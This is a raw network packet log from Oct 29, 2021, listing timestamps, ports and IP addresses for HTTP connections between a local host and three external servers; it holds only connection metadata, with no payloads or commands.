Oct 29, 2021 20:29:59.673796892 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.673820972 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.674299002 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.674398899 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.674465895 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.674472094 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.676873922 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.688142061 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.688179970 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.688193083 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.688232899 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.688294888 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.688318968 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.688909054 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.699748993 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.699913025 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.699954987 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.699973106 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.699996948 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.700001001 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.700031042 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.700067043 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.700093031 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.700098038 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.700099945 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.700144053 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.700153112 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.700190067 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.700212955 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.700263977 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.700267076 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.700323105 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.700334072 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.700370073 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.700406075 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.700407028 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.700411081 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.700448036 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.700462103 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.700485945 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.703658104 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.703675032 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.703747034 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.703772068 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.709633112 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.709656954 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.709709883 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.709794998 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.709814072 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.713803053 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.713829041 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.713877916 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.713901997 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.718126059 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.718153954 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.718203068 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.718224049 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.719762087 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.719846964 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.724188089 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.724219084 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.724298954 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.724315882 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.727801085 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.727838039 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.727895975 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.727922916 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.775743961 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.775789022 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.775844097 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.776046991 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.777614117 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.777659893 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.777699947 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.777734041 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.777765989 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.777807951 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.777822018 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.777832031 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.777836084 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.777849913 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.777863026 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.777879953 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.777930975 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.777947903 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.783272028 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.783319950 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.783343077 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.783356905 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.783375978 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.783381939 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.783385992 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.783416033 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.783438921 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.783452034 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.783457994 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.783461094 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.783478975 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.783499002 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.783504009 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.783509016 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.783524036 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.783536911 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.783541918 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.783584118 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.783911943 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.799736023 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.799757957 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.799870014 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.799923897 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.799949884 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.805771112 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.806010962 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.807898998 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.807921886 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.807938099 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.807956934 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.807974100 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.807990074 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.808006048 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.808021069 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.808029890 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.808032990 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.808047056 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.808048010 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.808052063 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.808063984 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.808078051 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.808082104 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.808110952 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.808115959 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.808243990 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.808300018 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.811619043 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.811731100 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.813405991 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.813497066 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.813646078 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.813755989 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.813782930 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.813817978 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.813831091 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.813834906 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.821542025 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.821718931 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.821851015 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.821873903 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.821913004 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.821968079 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.825932026 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.825957060 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.826028109 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.826072931 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.829741955 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.829823017 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.829835892 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.829893112 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.837733030 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.837764025 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.837790966 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.837846041 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.837878942 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.841767073 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.841856956 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.841898918 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.841933012 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.841962099 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.841964960 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.845851898 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.845901012 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:59.845952988 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:59.845977068 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.010200977 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.010224104 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.011363983 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.057879925 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.057909012 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.057976007 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.057991982 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.057996988 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.059350967 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.229821920 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.231077909 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.293543100 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:00.326822042 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:00.326998949 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:00.368777037 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:00.369103909 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:00.377780914 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.377959013 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.409792900 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.410623074 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.416023016 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:00.416048050 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:00.523874998 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.523916006 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.523969889 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.523989916 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.527801991 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.528040886 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.531822920 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.531861067 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.531927109 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.531950951 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.534120083 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.615607023 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.615993023 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.616013050 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.616904020 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.669858932 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.670066118 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.675846100 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.676105022 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.683878899 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.683908939 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.683928967 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.683949947 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.683973074 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.684228897 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.684254885 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.697330952 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.698369980 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.714755058 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.714790106 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.714812040 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.714833021 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.714858055 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.714874983 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.714879990 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.714885950 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.714905024 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.714927912 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.714948893 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.714965105 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.714967966 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.714971066 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.716938019 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.770133018 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:00.770170927 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:00.770219088 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:00.770251036 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:00.770301104 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:00.770380020 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:00.770406961 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:00.770416975 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:00.770426989 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:00.770443916 CEST	80	49846	91.219.236.97	192.168.2.3
Oct 29, 2021 20:30:00.770483017 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:00.770585060 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:30:00.799458981 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799489021 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799513102 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799536943 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799561977 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799585104 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799602985 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.799609900 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799633026 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.799633980 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799657106 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799669027 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.799691916 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799694061 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.799716949 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799738884 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799762964 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799779892 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.799783945 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.799784899 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799807072 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799827099 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799849987 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799870014 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.799871922 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799874067 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.799896002 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799917936 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.799952030 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.799957037 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.827747107 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:30:00.828664064 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:30:00.881095886 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881124020 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881145000 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881350994 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881376982 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881397963 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.881400108 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881413937 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.881426096 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881452084 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881475925 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881488085 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.881493092 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.881500006 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881525040 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881548882 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881571054 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881592989 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.881593943 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881597042 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.881618023 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881642103 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881665945 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881681919 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.881686926 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.881689072 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881712914 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881737947 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881761074 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881781101 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.881786108 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.881786108 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881809950 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881834030 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881856918 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881870031 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.881875038 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.881880045 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881902933 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881926060 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881948948 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881958961 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.881966114 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.881972075 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.881995916 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.882019997 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.882045031 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.882052898 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.882057905 CEST	49877	80	192.168.2.3	193.56.146.214
Oct 29, 2021 20:30:00.882066965 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.882090092 CEST	80	49877	193.56.146.214	192.168.2.3
Oct 29, 2021 20:30:00.882112980 CEST	80	49877	193.56.146.214	192.168.2.3
